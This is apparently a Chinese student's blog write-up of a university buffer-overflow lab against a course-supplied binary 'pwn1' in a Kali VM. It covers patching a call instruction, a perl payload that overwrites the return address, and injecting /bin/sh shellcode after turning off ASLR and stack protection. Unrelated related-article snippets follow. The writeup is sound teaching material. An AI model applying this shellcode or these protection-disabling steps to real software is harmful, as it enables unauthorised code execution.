2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验)

实验有三个模块:

(一)直接修改程序机器指令,改变程序执行流程;

(二)通过构造输入参数,造成BOF攻击,改变程序执行流;

(三)注入Shellcode并执行;


回答一下老师的问题

掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

  • NOP:90

  • JNE:75

  • JE:74

  • JMP:E9(JMP immed16)EA(JMP immed32)EB(JMP immed8)

  • CMP:38(CMP reg8/mem8,reg8)39(CMP reg16/mem16,reg16)3A(CMP reg8,reg8/mem8)3B(CMP reg16,reg16/mem16)3C(CMP al,immed8)3D(CMP ax,immed16)

什么是漏洞?漏洞有什么危害?

我觉得漏洞就是程序存在的设计上(或者说逻辑上、物理上)的缺陷,攻击者可以加以利用,干一些非法的事情.........

危害:我觉得存在漏洞的程序系统肯定是不可靠的,可用性和保密性可能被破坏。


(好了我开始bb了)

这三个实验都是“我攻我自己”也就是在本机一台虚拟机完成,以此来帮助我们理解BOF攻击的,最终的效果都是获取主机的shell(实际上你会发现这三个部分是一环扣一环递推的)。

首先你需要一个pwn1文件,我打包了自己的文件在这里:https://files.cnblogs.com/files/maxeysblog/pwn1.zip ,我当时发现这个pwn1文件在网上很难找,这个是后来从老师那里拿到的。

然后你需要一台虚拟机(操作系统kali)。

当你拿到这个文件以后,放在你的虚拟机里面,你会发现他可能不是可执行文件(没有高亮):

如果你直接执行是不行的,权限不够,他会告诉你:

bash: ./pwn1: 权限不够

解决办法:chmod +x pwn1即可,执行之后文件变成高亮:

如果还是运行不了可能就是缺32位的库,建议安装:

lib32ncurses5
lib32tinfo5
libc6-i386

这个可能稍微有变动,比如说版本更新之后,你要安装的就是6而不是5,视情况而定。

那么我们开始吧。

一、直接修改程序机器指令,改变程序执行流程

第一个实验实际上就是:在main函数对子函数foo调用的时候,修改call指令跳转的地址,使其跳转到子函数shellcode处进行执行,从而达到获取shell的目的。

首先:objdump -d pwn1,反汇编pwn1文件。

反汇编结束后你发现:main函数里面有一步call 804891<foo>,机器码指令为e8 d7 ff ff ff(call的机器码就是e8,后面是地址)。

进一步分析:08048491是,0804847d是我们的跳转目标。

0x08048491 - 0x0804847d = 0x00000014  //计算地址差
0xffffffd7 - 0x00000014 = 0xffffffc3 //计算要篡改的目标地址

(小端机器)

接着使用命令vi pwn1修改文件。

进入之后是乱码,使用:%!xxd转换为16进制显示。

使用/d7命令寻找e8d7ffffff机器指令所在地。

找到以后按i进入插入模式,修改d7为c3。

然后使用:%!xxd -r换回乱码的样子(不换回去会出问题),再用:wq保存即可。

这时如果再次objdump -d pwn1你能看到pwn1文件已经改了:

执行./pwn1文件可以成功获取shell:(我做实验时拷贝了一个pwn1,修改前后执行效果明显不同)

至此第一个实验成功。

二、通过构造输入参数,造成BOF攻击,改变程序执行流

缓冲区溢出攻击,即BOF攻击。简单的说就是不合法的输入把子函数的返回地址覆盖掉了,通过这种方式修改函数的返回地址,使程序代码执行“意外”的流程。

如果你觉得自己对缓冲区了解不够,可以看看这个比较基础的:https://blog.csdn.net/beyond_2016/article/details/81316801

然而攻击过程中,被篡改的返回地址不能准确指向shellcode的起始地址,那么攻击仍然会失败,shell会反馈说段错误(就是你跳的地方不对,shell不认识)。

所以我们先来确定返回地址该写啥。

使用gdb命令,file pwn1载入pwn1文件。

输入r执行pwn1,这时程序正常执行,在foo子函数调用的过程中,需要我们输入一个字符串(在你输入完毕以后foo会自动输出这个字符串)。

输入36个字符后回车:abcdefghijklmnopqrstuvwxyz1234567890(我不知道缓冲区多大诶,网上查资料也没找到,我只能这样先试一试,望各位大佬指点)

这时候已经发生段错误:Segmentation fault,你能看见图中:0x30393837 in ?? (),也就是说他不认识跳转的地址0x30393837是啥。

本次实验用的是小端机器,30、39、38、37分别是0、9、8、7对应的ASCII码,那么也就是说最后4位刚好完成溢出,覆盖掉返回地址了。

那我们只需要把最后四位写为\xd7\x84\x04\x08(shellcode的起始地址0x080484d7)就行了。

很显然这样直接花里胡哨是不行的,我们需要使用perl语句,用管道的方式把上一个命令的结果作为下一个的输入。

使用:perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

Perl -e:用于在命令行而不是在脚本中执行 Perl 命令;“|”管道:将第一条命令的结果作为第二条命令的参数来使用;

(多余的我也不会了)

可以使用xxd input查看input文件的内容。

攻击成功以后:

三、注入Shellcode并执行

注入shellcode的意思是shellcode在输入的时候被放入堆栈了,那么在堆栈里面就有机会把返回地址指向shellcode,实现攻击。

但是目前很多操作系统都有数据执行保护的,也就是DEP,这项保护将禁止非法程序在堆栈执行。

所以一开始先要设置堆栈可执行:

execstack -s pwn1    //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行

堆栈可执行的话结果是X pwn1;(没有这个命令就apt-get install execstack

另外,如果一开始没有关闭地址随机化,每一次操作esp的地址都会变化,因此实验的关键就是要关闭地址随机化。

使用echo "0" > /proc/sys/kernel/randomize_va_space关闭。

整个过程中我们需要注入一段代码,和实验二里面使用的perl类似,我们首先构造一个input_shellcode:

perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

首先在一个窗口运行(cat input_shellcode;cat) | ./pwn1

在另外一个窗口ps -ef | grep pwn能看见当前运行pwn1的进程号;

在gdb里面attach 进程号进行调试如图:

(gdb) disassemble foo反编译;

设置断点:

(不好意思上面这个Quit输错了没啥用)

命中以后查看esp:

esp后4个字节就是我们要找的returnaddr;

0xffffd31c + 0x00000004 = 0xffffd320

成功。


遇到的问题

有一个错我一直不知道为什么:

时不时会有这个报错:说我语法有问题。

正确命令是x/16x 我特么就是个白痴。。。。。。。


总结两句(发点牢骚)

可能是我脸黑,但是我感觉做这个实验真的好坎坷.....有什么问题还望各位看官指点。

实际上我觉得自己对BOF理解还是不够,最后一个实验为什么要看esp的值(这个问题可能是之前课程没学好,不能理解esp在程序执行时候的作用)?为什么加4位就可以了?如果这样就可以直接找到shellcode起始位置了,那设置nops的意义何在呢?

还有就是为什么第二个实验中,输入32位以后就会覆盖返回地址?这个32位是怎么知道的呢?猜吗?

脑阔痛....

望大佬们解答。


【更新】

好的,上面几个问题老师上课都讲了。

首先第三个实验为什么要看esp的值:

命中断点以后,实际上函数已经结束,esp的值返回到原来被压栈的main函数的ebp的值。

也就是说返回地址esp后面4位开始就是注入的shellcode了,可以直接找到shellcode起始位置了。

(然而已经这样精确计算到位置了,我认为没有nop段其实也可以成功的)

为什么第二个实验中,输入32位以后就会覆盖返回地址?

反汇编以后找到foo,看见分配了0x1c字节空间。

简单计算一下就知道了:0x1c换成十进制是28,加4位返回地址就是32位了。

2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解的更多相关文章

  1. 20165221 《网络对抗技术》EXP1 PC平台逆向破解

    20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...

  2. 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解

    - 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...

  3. 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...

  4. 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...

  5. 2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解 实验1-1直接修改程序机器指令,改变程序执行流程 先输入objdump -d 20165305pwn2查看反汇编代码 ...

  6. 2018-2019-2 《网络对抗技术》 Exp1 PC平台逆向破解 20165215

    2018-2019-2 <网络对抗技术> Exp1 PC平台逆向破解 20165215 目录 知识点描述 实验步骤 (一)直接修改程序机器指令,改变程序执行流程 (二)通过构造输入参数,造 ...

  7. 2018-2019-2 20165316 《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165316 <网络对抗技术>Exp1 PC平台逆向破解 1 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件 ...

  8. 20165214 2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解 Week3

    <网络对抗技术>Exp1 PC平台逆向破解之"逆向及Bof基础实践说明" Week3 一. 实验预习 1.什么是漏洞?漏洞有什么危害? 漏洞就是在计算机硬件.软件.协议 ...

  9. 2018-2019-2 网络对抗技术 20165228 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165228 Exp1 PC平台逆向破解 实验内容及步骤 第一部分:直接修改程序机器指令,改变程序执行流程 关键:通过修改call指令跳转的地址,将原本指向被 ...

随机推荐

  1. Make a Person 闭包

    用下面给定的方法构造一个对象. 方法有 getFirstName(), getLastName(), getFullName(), setFirstName(first), setLastName(l ...

  2. SpringMVC 实现文件上传与下载,并配置异常页面

    目录 上传文件的表单要求 Spring MVC实现上传文件 需要导入的jar包 配置MultipartResolver解析器 编写接收上传文件的控制器 Spring MVC实现文件下载 下载文件时的h ...

  3. ansible copy 模块详解

    ansible 模块 copy one.概述 copy 模块的作用就是拷贝文件,它与之前介绍过的 fetch 模块类似,不过,fetch 模块是从远程主机中拉取文件到 ansible 管理主机,而 c ...

  4. linux 下安装 php kafka 扩展

    我们使用官方推荐 php kafka 扩展 phpkafka,由于该扩展是基于 librdkafka 开发,所以我们首先需要安装 librdkafka 下载地址:http://kafka.apache ...

  5. python 绘制柱状图

    python 绘制柱状图 import matplotlib.pyplot as plt import numpy as np # 创建一个点数为 8 x 6 的窗口, 并设置分辨率为 80像素/每英 ...

  6. js 解决两值交换

    总结七种办法来交换a和b的变量值 交换变量值方案一 最最最简单的办法就是使用一个临时变量了 不过使用临时变量的方法实在是太low了 var t; t = a; a = b; b = t;   首先把a ...

  7. Msi中文件替换

    转自https://blog.csdn.net/davidhsing/article/details/9962377 ※说明:目前可以用于MSI编辑的软件很多,但是有些软件在保存时会在MSI文件中写入 ...

  8. java 11 实现RFC7539中指定的ChaCha20和Poly1305两种加密算法, 代替RC4

    实现 RFC 7539的ChaCha20 and ChaCha20-Poly1305加密算法 RFC7748定义的秘钥协商方案更高效, 更安全. JDK增加两个新的接口 XECPublicKey 和 ...

  9. SaltStack配置管理和YAML

    配置管理和YAML 配置管理 所谓的配置管理,也称为状态管理,就是可以通过编写文件,文件的内容为安装什么功能.开启什么服务,执行什么任务等信息,然后通过salt的配置管理,指定minion来执行这些操 ...

  10. python正则表达式Re模块备忘录

    title: python正则表达式Re模块备忘录 date: 2019/1/31 18:17:08 toc: true --- python正则表达式Re模块备忘录 备忘录 python中的数量词为 ...